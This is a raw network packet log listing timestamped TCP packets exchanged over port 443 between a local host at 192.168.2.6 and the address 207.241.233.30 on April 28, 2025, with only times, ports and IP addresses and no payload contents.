Apr 28, 2025 13:24:36.486869097 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.486895084 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487200975 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487216949 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487284899 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487291098 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487334967 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487732887 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487767935 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487804890 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487811089 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487843990 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487884998 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.487936974 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487952948 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.487997055 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488002062 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488028049 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488046885 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488089085 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488111019 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488151073 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488168001 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488182068 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488213062 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488286972 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488303900 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488363028 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488368988 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488406897 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488506079 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488528013 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488564968 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488571882 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488595009 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488615990 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488765001 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488780022 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488818884 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488830090 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488846064 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488873005 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488914013 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488930941 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.488981962 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.488990068 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489027023 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489149094 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489167929 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489195108 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489200115 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489233971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489253998 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489358902 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489373922 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489408016 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489414930 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489443064 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489470959 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489511013 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489537001 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489571095 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489577055 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489602089 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489615917 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489728928 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489748955 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489789963 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489800930 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489820004 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489837885 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.489981890 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.489999056 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490061998 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490068913 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490108967 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490150928 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490170002 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490214109 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490221024 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490231991 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490259886 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490395069 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490411997 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490441084 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490447998 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490495920 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490495920 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490597963 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490616083 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490664005 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490672112 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490719080 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490784883 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490803957 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490834951 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490840912 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490869999 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490888119 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.490945101 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.490961075 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491014004 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491022110 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491061926 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491161108 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491175890 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491218090 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491229057 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491261959 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491370916 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491384983 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491427898 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491441965 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491477013 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491517067 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491533041 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491569042 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491575956 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.491596937 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.491621971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.529366970 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.529386044 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.529592037 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.529611111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.529658079 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642443895 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642465115 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642564058 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642585039 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642605066 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642627001 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642633915 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642661095 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642673016 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642708063 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642713070 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642770052 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642817020 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642843962 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642884016 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642889977 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.642925024 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642940044 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.642977953 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643007040 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643050909 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643058062 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643089056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643099070 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643321991 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643359900 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643399000 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643404961 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643435955 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643459082 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643672943 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643724918 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643728971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.643738985 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.643774986 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644118071 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644131899 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644170046 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644177914 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644188881 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644218922 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644450903 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644467115 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644505978 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644512892 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644551992 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644884109 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644901037 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644937992 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.644946098 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.644973040 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645009995 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645149946 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645169020 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645210981 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645220041 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645242929 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645266056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645633936 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645653009 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645690918 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645697117 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645728111 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645749092 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645770073 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645786047 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645832062 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.645838022 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.645876884 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646085024 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646100044 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646153927 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646161079 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646197081 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646236897 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646251917 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646300077 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646307945 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646349907 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646507978 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646533966 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646558046 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646564007 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646595955 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646626949 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646644115 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646658897 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646703959 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646711111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646752119 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646826982 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646847963 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646883011 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646888971 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.646917105 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.646943092 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647142887 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647157907 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647201061 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647209883 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647254944 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647344112 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647375107 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647398949 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647404909 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647435904 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647452116 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647571087 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647598028 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647629976 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647636890 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647661924 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647686958 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647767067 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647783995 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647825956 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647831917 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.647860050 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.647886992 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648061037 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648080111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648118973 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648124933 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648152113 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648159981 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648173094 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648180962 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648190975 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648211956 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648263931 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648374081 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648391962 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648427010 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648433924 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648443937 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648474932 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648488998 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648504972 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648545027 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648551941 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648583889 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648701906 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648716927 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648751974 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648756981 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648782015 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648806095 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648832083 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648848057 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648880959 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648888111 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.648920059 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.648952007 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649085045 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649106026 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649143934 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649151087 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649183035 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649202108 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649230003 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649245024 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649296045 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649306059 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649338961 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649399042 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649414062 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649462938 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649468899 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649487019 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649512053 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649651051 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649667025 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649697065 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649703026 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649740934 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649782896 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649799109 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649837971 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649846077 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649857998 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649883032 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649912119 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649928093 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.649981022 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.649987936 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650027990 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650158882 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650173903 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650230885 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650237083 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650276899 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650289059 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650312901 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650351048 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650357962 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650392056 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650408030 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650428057 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650443077 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650485039 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650491953 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650523901 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650543928 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650593042 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650619984 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650676966 CEST	49694	443	192.168.2.6	207.241.233.30
Apr 28, 2025 13:24:36.650681973 CEST	443	49694	207.241.233.30	192.168.2.6
Apr 28, 2025 13:24:36.650693893 CEST	49694	443	192.168.2.6	207.241.233.30
